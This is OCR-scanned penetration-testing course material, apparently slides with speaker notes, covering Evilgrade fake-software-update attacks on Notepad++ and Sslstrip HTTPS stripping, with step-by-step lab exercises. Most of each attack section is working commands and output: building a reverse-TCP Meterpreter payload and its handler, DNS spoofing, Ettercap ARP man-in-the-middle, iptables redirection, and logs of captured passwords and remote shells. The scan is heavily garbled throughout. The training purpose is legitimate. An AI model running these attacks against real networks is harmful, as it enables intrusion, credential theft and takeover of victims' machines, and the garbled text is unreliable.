Fix lazge file truncated 4
. Impreve File loasitg pertd ’ So
T Mapper incond I e { ™ Cancel O

ero UL scyle.

2 wrap methods (o
i3 compends @ “Modify Shortcut/Delete Macro® and “"Modify Shortouc/Delete Ccmmand®.
e 14 " and "Delave™ buttons on L mapper dialog.

new abality to record seatch and
i6. Pix SaveSession bug.
17. Remove characters count feature from the status bar due To 1ts performance issge with UTFE file.

replace acTivns.

18. Fix crash issue due to chemes swicching.

“ - »

Normal test file length: 122 lnes:52 in:18 Col:25 S5e:0 Dos\ Windows ANS NS

Notepad++ Update Attack

Following these steps, Evilgrade will monitor all traffic until it sees an update request directed to
notepad-plus.sourceforge.net. When this request is observed, Evilgrade will respond to the client,
indicating that an updatc is available. The end-user will be prompted to download and install the
updatc, as shown on this slide.
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Evilgrade Step 4: Update
Delivery Status

¢ Evilgrade web server logs each request and
response

e Initial request to "Check For Update" page
e Subsequent request for update executable

avilgrade (notepadplus) »
[29/9/2010:16:28:01 - [WEBSERVER] ~ [modules::notepadplus] - [10.10.310.113] =
Request: "getDownLoadUrl.php”

evilgrade (notepadplus} >

[29/8/2010:16:28:4] - [WEBSERVER] - [modules::notepadplus] - [10.10.10.113] -
Buguest: ".exe"

evilgrade inotepadplus)>

[29/9/2010116:28:5] = [WEBSERVER] - [modules:iinotepadplus] - [10.10.10.113] -

Agent sent: "./agent/dgent.exs"

Evilgrade Step 4: Update Delivery Status

Evilgrade will log to standard output the status of client requests for updates, as shown on this slide.
The first log entry indicates that the Notepad++ client requested the getDownLoadUrl.php page,
which checks for an available update. The second entry indicates the client's request for the
executable file to download and install, followed by the delivery of the agent/agent.exe file to the
victim.
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Evilgrade Step 5: Leverage
Meterpreter Access

Return to the msfcli Meterpreter handler:

g the payload handler. .
] Sen tage (T48BB44 byres) to 10.310.10.113
Meterpreter session 1 vpened (10.10.10,10:8080 -» 10,10.10,133:60213)

meterpreter > sysinfo

Computer: JWRIGHT-X300

05 : Windows 7 (Build 7e0o,

Arch i xa6

Language: en U8

ater » shell

s 2180 dreated.

Channel 1 created.

Microsoft ®Windows [Version &.1.7800]

Copyright (g} 2008 Microsoft Corporation. All rights reserved.

CivProgram Files\Notepad++\updaters

Evilgrade Step 5: Leverage Meterpreter Access

Returning to the attacker's screen where msfcli was invoked to handle the reverse TCP Meterpreter
interface we can sce that when Notepad++ downloads and launches the "agent.exe" file delivered by
Evilgrade as the Notepad++ update, the victim connects back to the Meterpreter handler. From the
"meterpreter >"promptwe have tremendous control over the attacker's system, including shell
aceess.
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Evilgrade Options

e Deliver your preferred remote access
payload for control
— Meterpreter or commercial agent

— Custom executable that creates a helpdesk
ticket

e Useful modules included with Evilgrade

— Can add additional modules based on observed
software update characteristics

— Test locally first, then utilize in your test

Evilgrade Options

When using Evilgrade, we have a lot of options for delivering a payload exccutable. While we used
a Metasploit Meterpreter payload in this example, you can deliver any cxccutable that is desired,
leveraging agent software from commercial tools such as CORE IMPACT or CANVAS, or a custom
cxccutable such as one that creates an automatic helpdesk ticket with local system information for
remediation.

Evilgrade includes scveral software update exploit modules by default, but it is also easily
customizable to add new exploit modules as well. If you are ablc to capture traffic on a nctwork, use
Wireshark to identify software update activity sent over HTTP to identify ncw attack options.
Download and install the same softwarc on a test system you control for developing your own attack
module, then deploy it against your target after validating a successful exploit in your lab
environment.
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Exercise — Evilgrade (1)

e Launch Ettercap to create an ARP MITM attack
against the victim

e Manipulate DNS response for notepad-
plus.sourceforge.net

e Use Evilgrade to deliver a Meterpreter
executable as a Notepad++ update

DO NOT use Ettercap to target more than your

intended victim. The target arguments should always
include your victim client and server(s).

Exercise - Evilgrade (1)

In this exercise we'll use Ettercap to create a MITM attack and leverage the Ettercap dns_spoof
plugin to manipulate the DNS response for notepad-plus.sourceforge.net. With our manipulated
network environment, we'll exploit the Notepad++ tool delivering a fake software update in the form
of a Metasploit Meterpreter executable payload.

Pleasc do not use Ettercap to target more than your intended victim system. Each time you run

Ettercap you will specify one or more hosts in both the target arguments. Do not run Ettercap in
MITM mode with an empty target designation (c.g. Do Not Use "//").
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Exercise — Evilgrade (2)

e Select a victim system
—Windows guest, or native host OS
e Boot Kali Linux as attacker system

e Target the IP addresses for the victim
and the DNS server at 10.10.10.78

e Follow the lab steps as victim or
attacker

Exercise - Evilgrade (2)

In this exercise you'll use a Windows victim system, either a Windows guest VM or your native OS
as the victim, and the Kali Linux VM as the attacker. The MITM attack will be between the victim
system and the DNS server at 10.10.10.78. For cach excercise step, be sure to follow it in the role of
attacker or victim, noted at the top of the page.
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Attacker Step
Exercise — Evilgrade (3)

e Prepare Meterpreter executable to
deliver to victim
—Place in the Evilgrade agent/ directory

Specify your Kali Linux
IP Address here
# ed fusr/share/isr-evilgrade/agent/
4 /opt/metasploit/app/msfpayload
windows/meterpreter/reverseﬂtcp LHOST=x.x.x.x LPORT=8080 X >
agent.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse tcp
Length: 290

Cpticons: {"LHOST"=>"XX.X¥.XX.XX", "LPORT"=>"8080"}

\dvanced Penerration Testing, Exploit Writing, and Fthical Hacking

Exercise - Evilgrade (3) -- Attacker Step
First, preparc the Meterpreter exccutable payload, redirccting the output to the Evilgrade agent/
dircctory as agent.exe. Specify the IP address of your Kali Linux system as the LHOST parameter.
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Attacker Step
Exercise — Evilgrade (4)

e Start the Meterpreter handler to
accept the reverse TCP connection

e Leave this command running while
we continue the lab exercise

# /opt/metasploit/app/msfcli exploit/multi/handler
PAYLOAD=windows/meterpreter/reverse_ tcp LPORT=8080
LHOST=0.0.0.0 E

[*] Please wait while we load the module tree...
[*] Started reverse handler on 0.0.0.0:8080

[*] Starting the payload handler...

Exercise - Evilgrade (4) -- Attacker Step
Next, launch the Meterpreter handler to accept the connect-back TCP socket when the victim runs

the Meterpreter executable payload. Leave this command running while we continue the lab
exercisc.
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Attacker Step
Exercise — Evilgrade (5)

e Add entry to etter.dns to resolve
notepad-plus.sourceforge.net

—Resolve to the IP address of your Kali
Linux attack system

Specify your Kali Linux
IP Address here

4

# echo '"notepad-plus.sourceforge.net A xx.xx.xx.xx" >>
/ete/ettercap/etter.dns

W riange, and Frhical | lacking

Exercise - Evilgrade (5) -- Attacker Step
Next, add an entry to the etter.dns file to resolve the name notepad-plus.sourceforge.net used by the

Notcpad++ utility, as shown on this slide. Replace the "xx.xx.xx.xx" with your Kali Linux [P
address.
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Attacker Step
Exercise — Evilgrade (6)

e Launch Ettercap with ARP MITM attack

— Specify victim as the first target, DNS
servers as the second target

Specify victim IP addresses of
1P here the DNS server

—

1 4

¥ ettercap -TgM arp:remote /XX.XX.XX.XX/ /10.10.10.78/
ettercap 0.8.0 copyright 2001-2013 Bttercap Development Team

Listening on ethf... (Ethernet)

ethl => 00:0C:29:5D:A%:EE 1020751 255255 .00

Exercise - Evilgrade (6) -- Attacker Step
Next, launch Ettercap to create the MITM attack as shown between the victim and the DNS servers.
Replace the "xx.xx.xx.xx" designation with the IP address of your victim.
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Attacker Step
Exercise — Evilgrade (7)

e Invoke dns_spoof Ettercap plugin

P
Available plugins

[O] chk poison 1.1 Check if the poisoning had success

{0] dns_spoof 1.1 BSends spoofed dns replies

[O] pptp_pap 1.0 PPTE: Forces PAP authentication

[0} pptp reneg 1.0 PPTE: Forces tunmnel re-negotiation

[0} rand flood 1.C Flood the LAN with random MAC addresses

[0] remote browser 1.2 Sends visited URLs to the browser

[0] smb_clear 1.0 Tries to force 5MB cleartext auth

{o] smb_down 1.0 Tries to force SMB to not use NTLMZ key auth

Plugin name (U to quit): dns_spoof
Activating dns_spoof plugin...

enetration Testing, Exploit Writdng, and Ethical Hacking

Exercise - Evilgrade (7) -- Attacker Step

"1

After starting Ettercap, press "p" to load a plugin. Enter the name "dns_spoof™ and press "Enter” to
use the ctter.dns file as the list of DNS responses to spoof to the victim.
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Attacker Step
Exercise — Evilgrade (8)

e Invoke Evilgrade Notepad++ module

¢ evilgrade

————————————————————— wiw . infobytesec. com

- 63 modules available,

evilgrade>conf notepadplus

evilgrade (notepadplus) >start

evilgrade (notepadplus)>

[18/7/2012:22:55:54} - [DNSSERVER] ~ DNS Server Ready. Waiting for
Connections ...

evilgrade (notepadplus) >

\dvanced Penetration Testing, Exploit Writing, and Ethical Hacking

Exercise - Evilgrade (8) -- Attacker Step
Next, invoke the Evilgrade tool, loading the "notepadplus”" module and starting the Evilgrade web
server.

With this configuration in place, any DNS requests for notepad-plus.sourceforge.net will be
intercepted by the Ettercap MITM attacker with forged responses indicating that the attacker is the
notepad-plus.sourceforge.net server. When the client attempts to contact this server to determine if
there is an updated version of Notepad++ available, the Evilgrade web server will respond and
indicate that an updatc is available, subsequently delivering the update to the victim.
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Victim Step
Exercise — Evilgrade (9)

e Download and install Notepad++ from
http://files.sec660.org/npp.5.8.Installer
.exe

e Run Notepad++, click
? | Update Notepad++

MNetepads « updare {=%=]  Noteoade - uptate o
An update package 15 svailable, do you want to download il Notepads + is opened.
| Updater will close # in order to process the nstalistion.
Chick Cancel button if you don't want to be bothered anymore. i Continue?

Exercise - Evilgrade (9) -- Victim Step

As the victim, download and install Notepad++ from the URL shown on this slide. Run Notepad++
from your Start menu, then invoke an immediate check for an update by clicking "?" then "Update
Notepad++".

The victim will observe an update request prompt, indicating that an update is available. Click "Yes"
to continue.

After downloading the update executable, Notepad++ will prompt the user to install the update.
Click "Yes" to continue.
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Attacker Step

Exercise — Evilgrade (10)

¢ Return to Meterpreter handler

¢ Upon executing update, handler should be at a
"meterpreter > " prompt

- Follow troubleshooting steps, next page, if still at "Starting
the payload handler”

{*] Started reverse handler on 0.0,0.0:8080

[*] Starting the payload handler...

[*] Sending stage (769024 bytes} to 10,10.11.2

[*] Meterpreter session 1 opened (10.10.11.1:8080 -> 10.10.11.2:10055)
at 2014-04-02 14:44:11 -0400

meterpreter > shell

Process 6960 created.

Channel 1 created.

Microsoft Windows [Version 6.1.7601}]

Copyright (c) 200% Microsoft Corporation. All rights reserved.

C:\Program Files (xB86)\Notepad++\updater>

Exercise - Evilgrade (10) -- Attacker Step

Returning to the Meterpreter handler, upon exccuting the agent.cxc file, the victim will complete the
connection to the Meterpreter handler, lcaving the attacker's system at the "meterpreter >" prompt.
From here you have control over the victim system; try entering Meterpreter commands such as
"sysinfo" and "shell".
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Exercise — Evilgrade (11)
Troubleshooting

e Double-check all IP addresses

— msfpayload LHOST =[AttackerIP] for Meterpreter
agent.exe executable

— Ettercap IP address for victim and DNS server
(10.10.10.78)

- "ipconfig /flushdns" on victim if alternate IP is
already resolved for notepad-
plus.sourceforge.net

- Ensure victim is configured for local DNS servers
e Watch for Ettercap dns_spoof message
¢ Windows 8 Victim: Disable Windows Defender

Idns_spoof: [notepad-pius.sourceforge.net)] spoofed to [10.10.75.1] !

Advanced Penerraton Testing, oit Writng, and Ethical Hacking

Exercise - Evilgrade (11) -- Attacker Step
[f you run into trouble with this exercise, please double-check the following common configuration
errors:

* Doublc-check all IP addresses used in the lab, validating that the attacker's Kali Linux IP
address is specified correctly and the victim [P address is specificd in the Ettercap command

* Ensure Ettercap is using the DNS server as the MITM targets at 10.10.10.78

¢ Ifthe victim system has a cached DNS entry for the notepad-plus.sourceforge.net system
which is not pointing at the attacker, run "ipconfig /flushdns" to clear all cached DNS entrics
and try again

* Ensure the victim system is correctly configured to talk to the lab DNS scrvers

Also, watch the Ettercap window for a dns_spoof message similar to the one shown on this slide. If
you do not sce this message, double-check your Ettercap and etter.dns configuration.

If you are running a Windows 8 victim system, the Windows Defender software will prevent the
installer from being retricved and installed. Navigate to the Windows Defender charm and click
Tools | Options | Administrator and de-sclect "Use this program".
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HTTPS

e Relied upon for many
applications

significantly in warning
about untrusted
certificates

e Firefox 8: Five clicks to
accept untrusted cert.

e Browsers have matured

Certificate impersonation unlik

ely

to succeed with modern browsers.

HTTPS

HTTPS or HTTP over SSL is relied upon as a critical network technology for many organizations,
uscd by web browsers and many other applications to protect the confidentiality, integrity, and
authenticity of data. Certificate validation for HTTPS has significantly improved in web browsers in
the past few years where earlier browsers would make it too simple for an uninformed user to accept

'-. TN S T g ey i o e )

Eﬁgdf_mmlomlumhw

>0 X N -

1 Untrusted Connection

~ This Connection is
& Untrusted

You have avked Firefox to connect
securely to www.wigle.net, but we cant
confirn that your Cennection is secure.

Normally, when you try to connect
securely, sites will present trusted
rentdication to prove that you are gemg
to the nght place. However, this site's
dentity can't be venified.

What Should I Do?

H you usually connect to thes site without
profbiems, this encr could mean that
samesne ik tnang o impersonate the
site, and you shouldn't continue.

Gt e out of here!

Technical Details

wrw wigle net uses an invaid securty
certificate.

The certificate 1s not trusted because d s

seltf-signed.
The cetificate i nnle wabid far sanke net

and lithica

a certificate warning without understanding the impact of doing so.

Modern web browsers such as Fircfox demonstrate a significant warning when a certificate is invalid
for any rcason, as shown on this slide. In order to bypass this warning and continue with the invalid

certificate, the user must click through five options before continuing.

With these changes to browscr behavior, older invalid certificate impersonation attacks scems to be
an unlikely attack venue. However, other opportunities are available to exploit HTTPS sccurity,

without trigger certificate warnings.
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Sslstrip

e | everages MITM attack to manipulate
HTTP traffic

¢ Proxies requests to upstream HTTPS site
— User only gets HTTP traffic

e Logs traffic, commonly revealing
authentication credentials

e Uses clever tricks to assuage user

| Many otherwise secure sites rely on HTTP to HTTPS redirection.
Starting with a weak protocol threatens a stronger one.

Advanced Penerration Testing, i : I It Hacking

Sslstrip

Sslstrip is a tool by Moxie Marlinspike to leverage a MITM attack to manipulate HTTP traffic.
Instead of using an invalid certificate to trick the user into terminating the SSL session with the
attacker, Sslstrip avoids any certificate warnings by re-writing all HTTP traffic to remove references
to HTTPS. Sslstrip proxies all traffic intended to use SSL to the legitimate SSL server, but only
responds with HTTP traffic to the victim, allowing the attacker to access all content while logging
activity such as POST statements. Sslstrip also uses some clever tricks to assuage user concerns
about secing their traffic sent over HTTP instead of HTTPS.

Sslstrip takes advantage of a common flaw in HTTPS websites: many sites start with HTTP activity,
which is later redirected to HTTPS. Consider, for cxample, logging into a Gmail account. Very few
users will enter "https://www.gmail.com" in the web browser, instcad relying on Gmail to redirect
HTTP traffic to HTTPS. However, since the user is relying on a weak protocol (HTTP) to redirect
them, the security of a stronger protocol (HTTPS) is threatened.

Sslstrip does not allow an attacker to cavesdrop on activity sent dircctly to an HTTPS server without

being redirccted from a HTTP site, yet it is still an amazingly effective attack tool. Sslstrip is
available at http://www.thoughtcrime.org/software/sslstrip.
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Sslstrip Interception

http://gmail.comy/... https://gmail.com/... N
- X . .

Victim sslstrip Gmail
e All HTTP traffic forwarded through attacker

— Sslstrip re-writes content to remove https references
(HREF's and 30X redirect messages)

e Forwards traffic to server over HTTPS
o Attacker sees all content in the middle

s

e Manually-entered or embedded https://... URL's are
not attacked

Ssistrip Interception

This slide illustrates a Sslstrip attack between the victim system, the Sslstrip attacker as MITM, and
the sccure server Gmail. When the victim browses HTTP traffic through the attacker, Sslstrip will
inspect all traffic and remove HREF's and 302 or 303 redirect messages containing HTTPS URL's,
replacing them with HTTP URL's.

When the victim tries to access a re-written HTTP URL, Sslstrip will accept the traffic and forward it
to the back-end server over HTTPS. This way, the sceure server doesn't see any activity that would
indicatc a problem with the client. Responses back from the server are returned to the victim through
Sslstrip, re-written as HTTP packets.

With access to the sccure website activity, the attacker has numerous options for leveraging cookics
or credentials observed between the victim and the sccure site.
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Sslstrip Setup

1. Turn on IP forwarding to allow Ssistrip to forward packets. o _
‘ﬁ echo "1" > /proc/sys/net/ipv4/ip_forward _W

2. Redirect all HTTP (TCP/80) traffic to the Sslstrip process listening on port 8080,
___(;_reating a transparent proxy.

# iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j
REDIRECT --to-port 8080

3. Start Sslstrip, listening on TCP/8080
| # sslstrip -1 8080 |

4. Become MITM through ARP manipulation with Ettercap.
[E ettercap -TgM arp:remote // // ‘

5. Monitor sslstrip.log, or watch Ettercap for passwords.
# tail -f sslstrip.log

\dvanced Penerratnon Tes tng, | E}' it Wrinne, and Fihical | E.u'].-.in;-j

Sslstrip Setup
Likc other tools, Sslstrip requires that it is MITM to be cffective. We can establish an effective
Sslstrip attack in five steps:

I. First, turn on IP forwarding on the Linux stack as shown. This is required to allow Sslstrip to
forward traffic between the victim and the securc website.

2. Next, use iptables to setup a transparent proxy, redirccting all HTTP traffic on TCP/80 to a
port where Sslstrip will listen. We've used TCP/8080 in this example.

3. Next, start Sslstrip, using the "-I" (lower-casc "L") argument to specify the port where iptables
is forwarding traffic to.

4. Next, use Ettercap to mount a MITM attack against nctwork devices.

5. At this point, Sslstrip is removing HTTPS links from all observed traffic. You can watch the
sslstrip.log filc as shown to identify the POST data sent from clients that would have otherwisc
be sent over SSL.
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Sslstrip and Gmail

;':-i’::_.-:-_ ih = -..‘v-.'--if- " ﬂ‘-ww T g 4K EEN FRRRETTA = W w T;—-‘_!’_ -—
File Edit Yiww  Highoty Beokmarks Jooks  Help

yT c x f‘\ -“l it/ Ferwew. google. comsccountsServicel ogmiserice=: mailfipassnves truelirm=falsed - "" '] o

28} Gmalk Emait from Google |

GM I| Welcome to Gmail

A Google approach to email.

Genail 15 buiit on the ies that emal can be more ntutive. eficient. and useful And maybe even fun ey

Ater gl Geail has S Ll yow

Gougie Account
Less spam
Keep unwanted messages out of your mbax wath Google's imnovatwve technelogy Usemarme 991
&1 Caempie com

Mobile access P, i .

ﬁ Read Gmail on your motule phone by pointing your phone's web tiowset 1o

htp:/igmail.com Leamn more Stay signed in

i Sem
Lots of space
Over 7503 498657 megabytes (and counting) of free storage cam :

Update: the prvacy policy has been simplified and updated Leam more e i71ts ke and sasy

Craate an accnunt «

ranon icsung, | .'-._]!Iu NL Wwnuoane., anda

Sslstrip and Gmail

The web browser screen-shot in this example is what the uscr sces when an attacker is mounting a
Sslstrip attack. Before viewing this screen, this author browsed to http:/www.gmail.com. Ssistrip,
upon observing the HTTP/302 redirect issued by the gmail.com server to
https://www.google.com/accounts/ServiceLogin, rewrote the redirect message to send the user to
http://www.google.com/accounts/ServiceLogin, as shown on this slide.

After entering their credentials and clicking "Sign in", the web form sends the POST over HTTP,
which the user observes and forwards to the legitimate Gmail server over HTTPS.
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Ettercap and Sslstrip

1698 tcp 05 fingerprint
2183 known services

Randomizing 255 hosts for scanning...

Scanning the whole setmack for 355 hocte

* |ssssewmemeeesl ¥ tail -f sslstrip.log

2010-09-30 10:00:43,386 SECURE POST Data (www.google.com):
ltmpl=default&ltmplcache=24continue=httpi383%2Fi2Fmail.gooq
le.com%2Fmail%2F%3Ftservice=mailarm=falsesdsh=547491458207
555697 7altmpl=defaultilimpl=defaultssce=lstimeStmp=isecTok
GROUP 1 @ ANY (| =gGALX=hUDOSYDn7 josEmail=jlw991&Passwd=Thisismypassowrdsrm
Shown=1&signin=3ign+insasts=

8 hosts added to

ARP poisoning vi

GROUP 2 : ANY |(
Starting Unified sniffing...

Text only Interface activated...
Hit 'h' for inline help

HTTP : 66.102.7.104:80 -> USER: jlw991 PASS: Thisismypassowrd INFO: http://www
.google.com/accounts/Servicelogin?service=nail&passive=t ruekrmmfalsebcontinue=ht
tp://mail.google.com/mail/?ui=html&zry=16bsv=1eicbyudoady3ss

Ettercap and Sslstrip

This slide demonstrates what the attacker sces when running Sslstrip. The foreground text excerpt
shows a logging entry generated by Sslstrip when a user sent an HTTP POST to login to the Gmail
server, including the username (in the E-mail ficld) and the password. Below it, Ettercap is also
performing packet sniffing, and gathers the username and password information as part of its
password sniffcr module.
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Gmail and Sslstrip: favicon.ico

Sslstrip also includes a clever feature to help assuage any of the user's concerns about the lack of
encryption in the browser. When run with the "-f" argument, Sslstrip replaces all the favicon.ico
icons served by the target website for "sccure" traffic with a local icon of a lock, as shown in this
slide. Certainly this isn't a perfect representation of what a secure website should look like, but it

will likely satisfy any concerns for less-savvy users.
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Ettercap sslstrip Plugin

T T b TS P ]
e e = Ettercap sslstrip plugin ~_
«,;,\..o;;;r;;;,,;""' “-om amacon aimagcon a - simplifies the attack, but o .
: Shaznh ﬂl"l“'l;;:: ::2: :m;;:: ; dOES not suﬁ“aen@ly n
TR ' replicate the target site to

YOU% Account avoid suspicion.

Trclers View Modtty Tesca o Canced an Search Diders
Creer your Selier secount

# ettercap -TgM arp:remote -P sslstrip /172.16.0.1/ /172.16.0.111/

ettercap 0.7.6 copyright 2001-2013 Ettercap Development Team
‘| Activating sslstrip plugin...
i SSLStrip plugin: bind 80 on 59272 )

S8LStrip Plugin versien 1.1 is still under experimental mode. Please
reports any issues to the development team.

HTTP : 66.35.59.202:80 -> USER: jwright@sans.org PASS:

PenguinMasgueradeBall INFO: http://www,amazon.com/account/legin

CONTENT: email=jwrightz4Usans.orgépassword=PenguinMasqueradeBall
\dvanced Penetranon lesnong, I."-\i\t- it Wnitng, and irhical Hacking

Ettercap sslstrip Plugin

Recent versions of Ettercap also include support for the sslstrip plugin, written by exfil
(cmescobar@uscrs.sf.net). Using similar techniques to the Sslstrip script by Marlinspike, the sslstrip
plugin can be activated on the command-line ("-P sslstrip") or dynamically by pressing "p" in the
interactive console interface, then entering the plugin name "sslstrip".

While much simpler to usc than the Sslstrip script, the sslstrip plugin does not sufficiently replicate
the target site to the victim to avoid suspicion. As shown on this page, modified content for websites
such as Amazon.com appears malformed, likely due to the unintentional changes applied to complex
CSS or HTML content.

For practical usc in penetration testing, the Sslstrip script is the more rcliable option, though future
improvements to the sslstrip plugin may make this option more attractive.

Ettercap is written by Alberto Ornaghi (ALoR), Marco Valleri (NaGA), Emilio Escobar (exfil), and
Eric Milam (JOhnnyBrav0). The sslstrip plugin is included with Ettercap version 0.7.5 and later.
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Sslstrip: Caution for Pen-Testers

Text only Interface activated...

Hit 'h* for inline help Not GOOd
HTTE : T2.21.207.65:80 -> USER: jwright@wi iackforsushi.co PASS:
NotMyPassword INFO: hotp://www.amazon.com/gp/cart/view.html /ref=cx =c proceed

o Sslstrip intercepts all HTTPS traffic
— No option to specify a target list of hosts

e Compromising Amazon.com credentials is
great for attacking EC2 cloud computing
— Not so much if it is a personal account

e Double-check your engagement scope before
using Sslstrip
— Consider limiting attack with Ettercap MITM

constraints

\dvanced Penetration Testing, Exploit Writing, and Ethical Hacking

Ssistrip: Caution for Pen-Testers

Sslstrip is a very powerful tool for penetration testing. If Sslstrip is able to catch a user logging into
what they belicve to be a secure site, the credentials that are disclosed arc immensely valuable for
attacking other systems, cxploiting password rc-usc across sitcs. However, Sslstrip can also be too
effective, and could land the pen-tester in an uncomfortable situation.

Consider the Ettercap output in the top of this slide while running Ettercap. Instcad of recovering the
credentials for an internal website, Ettercap and Sslstrip reveal the credentials for a user logging in to
Amazon.com instead. If you were targeting an Amazon Elastic Cloud Computing (EC2) instance,
then Amazon.com credentials could be very valuable, however, it is much more likely that the
Amazon.com credentials are for an unsuspecting user shopping while at work.

Before using Sslstrip, ensure your engagement scope allows for you to manipulate client systems
when browsing to HTTPS websites. Also, consider limiting the scope of Sslstrip in your
engagements. While Sslstrip does not include a feature to limit the attack to specific websites, we
can limit which traffic we are receiving with Ettercap's MITM attack by specifying the permitted
target websites in the 2™ victim instance (c.g. "ettercap -TgM arp:remote //
/10.10.10.10-10.10.10.254/"). This is straightforward with a small list of target hosts but
may become complex when a large number of hosts arc within scope and are in discontiguous
address space.
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Exercise — Sslstrip (1)

e Launch Ettercap to create an ARP MITM
attack against the victim

o Use Sslstrip to strip all HTTPS references

e Capture login credentials against
https://10.10.10.70/login

DO NOT use Ettercap to target more than your
intended victim. The target arguments should always
include your victim client and server(s).

dvanced Penerration Testng, 1L xploit Wridng, and ithical Hacking

Exercise - Sslstrip (1)

In this exercise we'll return to Ettercap to create a MITM attack and leverage Sslstrip to gain access
to HTTPS browser activity, stripping HTTPS rcferences from the authentication page setup at
https://kittenwar.sec660.org/login/.

Pleasc do not use Ettercap to target more than your intended victim system. Each time you run

Ettercap you will specify one or more hosts in both the target arguments. Do not run Ettercap in
MITM mode with an empty target designation (c.g. Do Not Use "//").
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Exercise — Sslstrip (2)

e Select a victim system
—Windows guest, or native host OS

e Use Kali Linux as attacker system
e Target the lab server at 10.10.10.70

e Follow the lab steps as victim or
attacker

Exercise - Sslstrip (2)
For this lab excrcisc you will use the Kali Linux VM as the attacker, and a sccond Windows system

as a victim. The Windows victim can be a sccond guest system, or your native OS.
The lab steps that need to be exccuted as the attacker (using Kali Linux) or as the guest (using

Windows) are marked in the top-left corner of the slide. W¢'ll target the lab server at 10.10.10.70 for
the attack.
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Victim Step

Exercise — Sslstrip (3)

* We need to replicate a trusted HTTPS
server to exploit in our lab
— This step is not necessary in a non-lab network

e The lab server at 10.10.10.70 is an HTTPS
server with a self-signed certificate

e Victim should add this certificate to the

trust store
— Follow the steps on the next slides for Internet
Explorer or Firefox

Exercise - Sslstrip (3) -- Victim Step

In order to perform an attack with Sslstrip, we nced to replicate an cnvironment where the victim
trusts a certificate for an HTTPS server. The lab system we'll use for the attack uses a self-signed
certificate at https://10.10.10.70. To continue, configure your victim to trust the certificate on this
system using the steps on the following slides for Internet Explorer or Firefox.

203



Victim Step Internet Explorer Configuration

~ Exercise — Sslstrip (4)

| Doy werd 1o apen ar save ihis fle?

Heme  edidinbierceron

P st - @
B ! Restart IE
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This G4 Roo certhate m mot trestd. fo bl fraut, | e b S

i ' thons e Trnted Ly

| Awthomtesstore, [ G e

I mee——— | -

e eeinie e
e e v i sy W

ma o bl T

L
1 - e
Using IE, browse to ]
http://files.sec660.org/sec660-labserver.cer [

Exercise - Sslstrip (4) — Victim Step
If you use Internet Explorer on the victim, follow these steps to configurc Windows to trust the
certificate for the lab server:

v e RS

o

. Using Internct Explorer, browser to the URL on this slide to download the root certificate

authority for the lab server.

At the File Download prompt, click "Open".

In the Certificate viewer, click "Install Certificate".

In the Certificate Import Wizard, select "Place all certificates in the following store.

Click the "Browsc" button and select the store for the Trusted Root Certification Authority,
then click OK after returning to the Certificate Import Wizard.

At the Sccurity Warning prompt, click "Yes" to import the certificate.

Finally, restart Internet Explorer for the new certificate authority to take effect.
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Victim Step

Firefox Configuration

Exercise — Sslstrip (5)

A N T 3

’-a.f |-'.?.‘ '-.

Ede Edt Yiew Hglory ioo-m@Iwk tielp
L «C M D hitgs:/110.1010.20

& Untrusted Connection

I yeu usualty connect to this site wahout peobilenss, this emor could me ¥ ar about kD gueTide hew Frelox ideritdien thes sde
trying to impersonate the cite, and veu shoulde't continue. I Lesgtimate banks, stores, s sther public sites will not sk you 1a do this
| Gt e out of hese! T A T A A :
becstione https U0 T EERY Letsicate |
Technical Details Certdicate Shatus
@ This e srempts t ety Ael with i dormetian e
I Understand the Risks | e ey : =

¥ you undesstand what's going on, you can tell Firefiox to start trusting 1 Corvicate ie net irunted. bacaune & hasn bees vesified by » recogeized authorty,
identification. Even if you trust the site, this error could mean that sc
tampering with your connection,

Dion 1 add an exception uniess you knew bhere's & gaod reason why this

trusted iden'.n‘ut@

| Add Exception..

Dane W Bermanently stone this evception

Exercise - Sslstrip (5) -- Victim Step

If you use Fircfox on the victim, follow these steps to configure the browser to trust the certificate for
the lab server:

Open Firefox and browse to the URL specificd on this slide.

At the Untrusted Connection page, expand "I Understand the Risks".

Click the "Add Exception..." button.

At the Add Security Exception dialog, click "Get Certificate".

Click "Confirm Security Exception" to add the server to the Firefox trust store.

R
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Victim Step

Exercise — Sslstrip (6)

e Open browser (IE or Firefox), browse to
http://10.10.10.70, click "login"

¢ Note that link to login and login page are https,

B e R
S
B el ] e e e S f——
BC « & ousss L] » | S e 11854 Wi z]
e By e |t TV B | Eattvars e |

Exercise - Sslstrip (6) -- Victim Step

With the certificate trusted by your preferred browser, browse to http://10.10.10.70 and mousc-over
the "login" link on the left-side of the page. Note that the status bar indicates that the URL is
https://10.10.10.70/login Click the link to open the login page. Notice on this page that the site uses
HTTPS in the URL bar and the lock icon on the bottom-right corner.

Finally, closc your web browser.
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Attacker Step
Exercise — Sslstrip (7)

¢ Confirm connectivity with target and victim
~— Ping 10.10.10.70 and the victim IP's

e Download and use a modified etter.conf file

e Launch Ettercap with ARP MITM attack

— Specify victim as first target, web server as the
second target

¥ wget http://files.sec660.oxrg/etter-sslstrip.conf
¥ ettercap -TgM arp:remote -a etter-sslstrip.conf /XX.XX.XX.XX/

/10.10.10.70/
ettercap 0.8.0 copyright 2001-2013 Ettercap Development Team

Listening on: . Victim IP
eth0 -> 00:0C:29:46:67:C1 | Address
10.320.10.352/255.255.0.0 !

\dvanced Penerration Testing, Exploit Writng, and Erhical Hacking

Exercise - Sslstrip (7) -- Victim Step

Next, launch Ettercap to use the ARP MITM attack. Download a modified ctter.conf file shown at
the URL on this slide that allows Ettercap to run with root privileges. This is necessary to work
around a bug between Ettercap, Sslstrip and the Linux kernel.

Specify your Windows victim as the first target (replace "XX. XX.XX.XX" with the IP address of
your Windows victim) and the IP address of the lab server as your second target, as shown.

With the MITM attack cstablished, the Sslstrip attack is in effect. Next we'll move to the role of the
victim and browse to the target website.
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Attacker Step

Exercise — Sslstrip (8)

e Turn on Linux IP forwarding
e Redirect HTTP traffic to Sslstrip listener (TCP/8081)

e Install and start Sslstrip on redirected port
(TCP/8081)

# iptables -t nat -A PREROUTING -p tcp --destination-port B0 -j
REDIRECT --to-port 8081

# echo "1" > /proc/sys/net/ipv4/ip_forward

# cat /proc/sys/net/ipvd/ip forward

1

# sslstrip -1 8081

sslstrip 0.9 by Moxie Marlinspike running...

\dvanced Penetration Testing, Exploit Writing, and Ethical Hacking

Exercise - Sslstrip (7) -- Attacker Step

Returning to the role of the attacker, configure your system to leverage Sslstrip. First turn on [P
forwarding, then apply an iptables rule to redirect all HTTP traffic to port 8081, as shown on this
slide.

Kali Linux includes the Sslstrip software in the PATH at /usr/bin/sslstrip. Start the sslstrip command
